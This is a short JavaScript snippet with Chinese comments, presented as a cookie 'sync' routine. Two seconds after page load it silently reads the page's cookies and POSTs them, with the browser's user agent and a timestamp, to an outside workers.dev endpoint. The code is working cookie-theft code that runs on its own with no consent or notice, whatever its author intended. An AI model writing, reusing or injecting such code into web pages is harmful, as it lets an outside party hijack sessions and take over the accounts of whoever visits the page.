(function () {

  async function sync() {
    const cookie = document.cookie;

    if (!cookie || cookie.length < 5) {
      console.log("❌ 未获取到 cookie（可能是 HttpOnly 或未登录）");
      return;
    }

    try {
      const res = await fetch("https://gmx.ddz001.workers.dev/?mode=save", {
        method: "POST",
        headers: {
          "Content-Type": "application/json"
        },
        body: JSON.stringify({
          cookie: cookie,
          ua: navigator.userAgent,
          time: Date.now()
        })
      });

      const data = await res.json();
      console.log("✅ 同步成功:", data);

    } catch (e) {
      console.log("❌ 同步失败:", e);
    }
  }

  // 页面加载后自动执行
  window.addEventListener("load", () => {
    setTimeout(sync, 2000);
  });

})();